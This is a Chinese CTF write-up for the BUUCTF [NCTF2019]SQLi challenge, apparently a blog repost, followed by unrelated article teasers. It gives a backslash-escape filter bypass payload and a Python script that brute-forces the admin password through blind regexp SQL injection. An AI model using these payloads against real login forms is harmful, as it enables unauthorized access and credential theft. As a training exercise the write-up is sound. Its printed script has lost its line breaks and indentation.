【BUUCTF】[NCTF2019]SQLi

devtools/2025/1/19 8:41:01/

进入题目页面如下

是一个登录界面

尝试万能密码,错误

使用dirsearch目录扫描

发现robots.txt文件

访问robots.txt,发现hint.txt

里面提示了过滤的关键字

下面这行代码的意思是如果 `$_POST['passwd']` 等于管理员的密码, 那么你将获得标志(flag)

根据题目可以得出这是字符型注入,但是 ' 也被过滤

看到过滤了很多关键字,但是转义符好像没过滤,可以利用转义符构成闭合语句

passwd=||/**/1;%00&username=\

得到welcome.php文件

再看过滤了很多函数,但好像没有过滤regexp尝试regexp函数

脚本爆破密码

import requests
from urllib.parse import unquote
import stringdef regexp_guess():guessed_result = ""possible_characters = string.ascii_lowercase + string.digits + '_'target_url = "http://ed141fe7-706a-4558-bb83-02e719516467.node5.buuoj.cn:81/index.php"for length in range(1, 100):for char in possible_characters:current_guess = guessed_result + charpayload = "||/**/passwd/**/regexp/**/\"^{}\";{}".format(current_guess, unquote('%00'))data = {"username": "\\","passwd": payload}response = requests.post(target_url, data=data)if "welcome.php" in response.text:guessed_result = current_guessbreakprint(guessed_result)if __name__ == "__main__":regexp_guess()

代码解释

requests 用于发送 HTTP 请求

unquote 用于 URL 解码,string 用于获取特定的字符集合

定义了一个名为 regexp_guess 的函数
guessed_result 用于存储逐步猜测得到的结果,初始为空字符串

定义了可能用于猜测的字符集合,包括小写字母、数字和下划线
   
发送请求的目标 URL
   
外层的 for 循环控制猜测结果的长度,从 1 到 100 
      
内层的 for 循环遍历可能的字符
           
current_guess 是当前正在猜测的字符组合,通过将新字符添加到之前的猜测结果形成
           
构建 payload ,这是用于发送请求的特定格式的数据
            
构建 data 字典,包含用户名和密码(即 payload )
           
使用 requests.post 向目标 URL 发送 POST 请求,并将响应存储在 response 变量中
          
如果响应包含 "welcome.php" ,说明猜测是正确,更新 guessed_result 跳出内层循环

条件下调用 regexp_guess 函数来执行整个猜测过程

得到密码

you_will_never_know7788990

用密码登录得到flag

最终的得到flag


http://www.ppmy.cn/devtools/151780.html

相关文章

elasticsearch线程池配置

在Elasticsearch中,默认的线程池配置如下: search线程池 用途:用于处理搜索请求。 特点: 类型为fixed,即固定大小的线程池。 线程数根据分配给Elasticsearch的处理器数量动态计算,以确保搜索请求能够并行…

STM32 FreeROTS Tickless低功耗模式

低功耗模式简介 FreeRTOS 的 Tickless 模式是一种特殊的运行模式,用于最小化系统的时钟中断频率,以降低功耗。在 Tickless 模式下,系统只在有需要时才会启动时钟中断,而在无任务要运行时则完全进入休眠状态,从而降低功…

计算机网络 概述 第一章 1.4

1.4 计算机网络的性能指标 计算机网络的性能指标被用来从不同方面度量计算机网络的性能 先来看比特的概念: 比特(bit,记为小写b)是计算机数据量的基本单位,一个比特就是二进制数字中的一个1或0. 数据量的常用单位有字…

如何在服务器同一个端口下根据路径区分不同的应用

通常我们使用域名直接访问网站时,使用的是80或者443端口。但一个主站下面可能有好几个子网站,我们如何通过路径来挂载子网站呢? nginx.conf配置 使用nginx代理能够实现根据不同的路径,访问同一端口下的子网站。 root配置网站的默…

【Linux】线程全解:概念、操作、互斥与同步机制、线程池实现

🎬 个人主页:谁在夜里看海. 📖 个人专栏:《C系列》《Linux系列》《算法系列》 ⛰️ 道阻且长,行则将至 目录 📚一、线程概念 📖 回顾进程 📖 引入线程 📖 总结 &a…

Redis 性能优化:多维度技术解析与实战策略

文章目录 1 基准性能2 使用 slowlog 优化耗时命令3 big key 优化4 使用 lazy free 特性5 缩短键值对的存储长度6 设置键值的过期时间7 禁用耗时长的查询命令8 使用 Pipeline 批量操作数据9 避免大量数据同时失效10 客户端使用优化11 限制 Redis 内存大小12 使用物理机而非虚拟机…

C 语言的void*到底是什么?

一、void* 的类型任意性 void* 是一种通用指针类型。它可以指向任意类型的数据。例如,它可以指向一个整数(int)、一个浮点数(float)、一个字符(char)或者一个结构体等。在C语言中,当…

基于本地消息表实现分布式事务

假设我们有一个电商系统,包含订单服务和库存服务。当用户下单时,需要在订单服务中创建订单,同时在库存服务中扣减库存。这是一个典型的分布式事务场景,我们需要保证这两个操作要么都成功,要么都失败,以保证数据的最终一致性。 项目结构: 订单服务(Order Service)库存服务(Inv…